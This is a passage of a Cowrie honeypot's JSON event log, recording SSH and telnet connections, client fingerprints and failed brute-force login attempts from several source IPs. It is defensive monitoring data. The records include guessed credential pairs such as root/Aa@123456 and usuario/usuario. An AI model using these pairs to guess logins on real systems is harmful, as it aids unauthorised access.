-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:19.683240Z","src_ip":"31.40.204.166","session":"3961fd745864","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.48480725288391,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:19.985813Z","src_ip":"152.42.224.71","session":"e099c4ea6639","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:20.303613Z","src_ip":"31.40.204.166","session":"3961fd745864","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:21.497170Z","src_ip":"31.40.204.166","session":"3961fd745864","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.649500608444214,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:21.997307Z","src_ip":"152.42.224.71","session":"a716fe2db26f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44912,"dst_ip":"10.17.0.5","dst_port":23,"session":"efdb1f760ca2","protocol":"telnet","message":"New connection: 152.42.224.71:44912 (10.17.0.5:23) [session: efdb1f760ca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:23.522277Z"}
{"eventid":"cowrie.session.closed","duration":18.232438564300537,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:23.873347Z","src_ip":"152.42.224.71","session":"4a6449ad422f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.91471195220947,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:27.219545Z","src_ip":"152.42.224.71","session":"21ff70489869","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46838,"dst_ip":"10.17.0.5","dst_port":23,"session":"4144fa43adfd","protocol":"telnet","message":"New connection: 152.42.224.71:46838 (10.17.0.5:23) [session: 4144fa43adfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:27.572322Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":59106,"dst_ip":"159.203.135.109","dst_port":22,"session":"e54ae82459c3","protocol":"ssh","message":"New connection: 31.40.204.166:59106 (159.203.135.109:22) [session: e54ae82459c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:31.486468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:31.493768Z","src_ip":"31.40.204.166","session":"e54ae82459c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:31.618000Z","src_ip":"31.40.204.166","session":"e54ae82459c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.18002772331238,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:31.684260Z","src_ip":"152.42.224.71","session":"1de36419e1d5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:32.218478Z","src_ip":"31.40.204.166","session":"e54ae82459c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00232291221619,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:33.219580Z","src_ip":"152.42.224.71","session":"8e8b8d16ada2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:33.393313Z","src_ip":"31.40.204.166","session":"e54ae82459c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":90.68152236938477,"message":"Connection lost after 90 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:33.707608Z","src_ip":"152.42.224.71","session":"cd388a4c86c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.115.94","src_port":54948,"dst_ip":"159.203.135.109","dst_port":22,"session":"959214479e0a","protocol":"ssh","message":"New connection: 119.28.115.94:54948 (159.203.135.109:22) [session: 959214479e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:34.518126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:34.522630Z","src_ip":"119.28.115.94","session":"959214479e0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:34.767942Z","src_ip":"119.28.115.94","session":"959214479e0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe!@","message":"login attempt [root/qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:35.778528Z","src_ip":"119.28.115.94","session":"959214479e0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:37.027560Z","src_ip":"119.28.115.94","session":"959214479e0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.213","src_port":37550,"dst_ip":"159.203.135.109","dst_port":22,"session":"743cf76ee20a","protocol":"ssh","message":"New connection: 101.36.108.213:37550 (159.203.135.109:22) [session: 743cf76ee20a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:40.360947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:40.368258Z","src_ip":"101.36.108.213","session":"743cf76ee20a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:40.591419Z","src_ip":"101.36.108.213","session":"743cf76ee20a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test123","message":"login attempt [root/Test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:41.479434Z","src_ip":"101.36.108.213","session":"743cf76ee20a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:42.706524Z","src_ip":"101.36.108.213","session":"743cf76ee20a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":58386,"dst_ip":"159.203.135.109","dst_port":22,"session":"0186758fa65f","protocol":"ssh","message":"New connection: 31.40.204.166:58386 (159.203.135.109:22) [session: 0186758fa65f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:42.780781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:42.804030Z","src_ip":"31.40.204.166","session":"0186758fa65f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:42.983402Z","src_ip":"31.40.204.166","session":"0186758fa65f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"usuario","password":"usuario","message":"login attempt [usuario/usuario] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:43.524290Z","src_ip":"31.40.204.166","session":"0186758fa65f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51684,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb9708071380","protocol":"telnet","message":"New connection: 152.42.224.71:51684 (10.17.0.5:23) [session: eb9708071380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:44.666192Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:44.700003Z","src_ip":"31.40.204.166","session":"0186758fa65f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00138831138611,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:45.618450Z","src_ip":"152.42.224.71","session":"aa87fe49cbfc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53726,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b6109b3038b","protocol":"telnet","message":"New connection: 152.42.224.71:53726 (10.17.0.5:23) [session: 2b6109b3038b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:49.241639Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53748,"dst_ip":"10.17.0.5","dst_port":23,"session":"b989104e7334","protocol":"telnet","message":"New connection: 152.42.224.71:53748 (10.17.0.5:23) [session: b989104e7334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:50.941833Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53742,"dst_ip":"10.17.0.5","dst_port":23,"session":"89e802214d07","protocol":"telnet","message":"New connection: 152.42.224.71:53742 (10.17.0.5:23) [session: 89e802214d07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:51.050900Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53758,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc2a10bb3939","protocol":"telnet","message":"New connection: 152.42.224.71:53758 (10.17.0.5:23) [session: fc2a10bb3939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:51.756449Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53774,"dst_ip":"10.17.0.5","dst_port":23,"session":"eadac11a9b83","protocol":"telnet","message":"New connection: 152.42.224.71:53774 (10.17.0.5:23) [session: eadac11a9b83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:52.054038Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":37162,"dst_ip":"159.203.135.109","dst_port":22,"session":"56930ae2bc11","protocol":"ssh","message":"New connection: 31.40.204.166:37162 (159.203.135.109:22) [session: 56930ae2bc11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:54.309842Z"}
{"eventid":"cowrie.session.closed","duration":120.00090551376343,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:54.346122Z","src_ip":"152.42.224.71","session":"e400058df773","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:54.513991Z","src_ip":"31.40.204.166","session":"56930ae2bc11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:54.517686Z","src_ip":"31.40.204.166","session":"56930ae2bc11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.763702154159546,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:55.285845Z","src_ip":"152.42.224.71","session":"efdb1f760ca2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:55.315791Z","src_ip":"31.40.204.166","session":"56930ae2bc11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.228.151","src_port":42762,"dst_ip":"159.203.135.109","dst_port":22,"session":"534593c57460","protocol":"ssh","message":"New connection: 43.134.228.151:42762 (159.203.135.109:22) [session: 534593c57460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:55.852032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:55.857300Z","src_ip":"43.134.228.151","session":"534593c57460","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:56.095948Z","src_ip":"43.134.228.151","session":"534593c57460","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:56.487598Z","src_ip":"31.40.204.166","session":"56930ae2bc11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome123$","message":"login attempt [root/welcome123$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:57.086845Z","src_ip":"43.134.228.151","session":"534593c57460","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:58.327451Z","src_ip":"43.134.228.151","session":"534593c57460","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.905179738998413,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:32:59.661500Z","src_ip":"152.42.224.71","session":"fc2a10bb3939","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.201","src_port":21776,"dst_ip":"10.17.0.5","dst_port":22,"session":"45a215882ce5","protocol":"ssh","message":"New connection: 94.26.106.201:21776 (10.17.0.5:22) [session: 45a215882ce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:00.872481Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:33:00.877842Z","src_ip":"94.26.106.201","session":"45a215882ce5","protocol":"ssh"}
